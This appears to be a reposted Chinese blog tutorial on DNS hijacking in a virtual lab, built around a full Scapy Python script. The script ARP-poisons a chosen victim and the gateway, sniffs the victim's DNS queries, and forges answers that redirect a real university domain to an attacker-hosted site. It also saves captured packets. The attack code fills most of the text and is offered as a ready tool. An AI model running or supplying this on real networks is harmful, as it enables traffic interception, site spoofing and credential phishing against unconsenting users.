python实现dns劫持_Python程序之DNS劫持
實驗環境:
虛假網站端:虛擬機Windows?server 2008
攻擊機:Windows?7
靶機端:Windows?10
實驗步驟:
設置虛擬機網絡適配器為橋接模式
虛擬機設備設置
編輯虛擬網絡編輯器
查詢Windows?server 2008的IP地址并搭建自己的網站
? ?
新建一個自己的網站(即攻擊后劫持網站)
編寫DNS劫持代碼
from scapy.all import *
import sys
import os
import re
import time
from threading import Thread
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def main(ip1):
print(" ")
#獲取本機上的IP及網關
for line in os.popen("route print"):
s=line.strip()
if s.startswith("0.0.0.0"):
localip=s.split()[3]
gw=s.split()[2]
print("本機IP:%s 網關:%s"%(localip,gw))
break
else:
print("網絡連接不正常!")
os.exit(1)
def scan():
scanip=gw+"/24"
p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=scanip)
ans,unans=srp(p,timeout=2,verbose=0)
print("一共掃描到%d臺主機:"%len(ans))
for send,recv in ans:
print(recv[Ether].src+"------>"+recv[ARP].psrc)
#對特定網站自動發送dns應答
def dnsposion(p):
weblist=["www.bupt.edu.cn"]
if p.haslayer(DNS):
ip=p[IP]
udp=p[UDP]
dns=p[DNS]
domain=dns.qd.qname.decode()[:-1]
print("收到一個請求 ----->",domain)
if domain in weblist:
#自動發送應答包
nip=IP(src=ip.dst,dst=ip.src)
nudp=UDP(sport=udp.dport,dport=udp.sport)
ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata=ip1))
send(nip/nudp/ndns)
print("應答:%s -----> %s"%(domain,ip1))
#抓包并保存到文件
def capture(vic,t):
filter1="udp dst port 53 and host "+vic
pkts=sniff(filter=filter1,timeout=t,prn=dnsposion)
fname="p%d.pacp"%int(time.time())
wrpcap(fname,pkts)
print("抓包數據已經存入文件%s。"%fname)
#ARP攻擊
def spoof():
vic=input("請輸入攻擊目標:") #vic被攻擊者s
t=int(input("請輸入攻擊時間(單位:秒):"))
ct=Thread(target=capture,args=(vic,t))
ct.start()
for i in range(5*t):
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vic,psrc=gw),verbose=0)
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw,psrc=vic),verbose=0)
time.sleep(0.2)
ct.join()
print("攻擊結束!")
#流量分析
def analy():
os.system("dir *.pcap")
fname=input("請輸入要分析的文件名")
pkts=rdpcap(fname)
#快捷選擇
while 1:
sel=input("請選擇要進行的操作:1、局域網掃描;2、攻擊欺騙;3、流量分析;4、退出\n")
if sel=="1":
scan()
elif sel=="2":
if not gw:
print("請先執行掃描程序!")
else:
spoof()
elif sel=="3":
analy()
elif sel=="4":
print("歡迎下次使用!再見!")
break
else:
print("輸入有誤請重新輸入!")
if __name__=="__main__":
main(sys.argv[1])
Win+R彈出運行界面,找到Routing and RemoteAccess (RemoteAccess)點擊屬性,把啟動類型修改為手動,確定并啟動
(此處為修改攻擊機的服務管理器)
可以開始攻擊
首先進行局域網內存活主機掃描
開始攻擊欺騙
被攻擊后靶機網關情況
可以看到攻擊機的網關和靶機網關已經一致
靶機被欺騙的網站界面
可以看出網站已經變為Windows server 2008中搭建的網站,而不是正確的網站了
正確網站對比圖
總結
以上是生活随笔為你收集整理的python实现dns劫持_Python程序之DNS劫持的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python获取动态数据采集仪代理_Py
- 下一篇: python协程库_python中协程的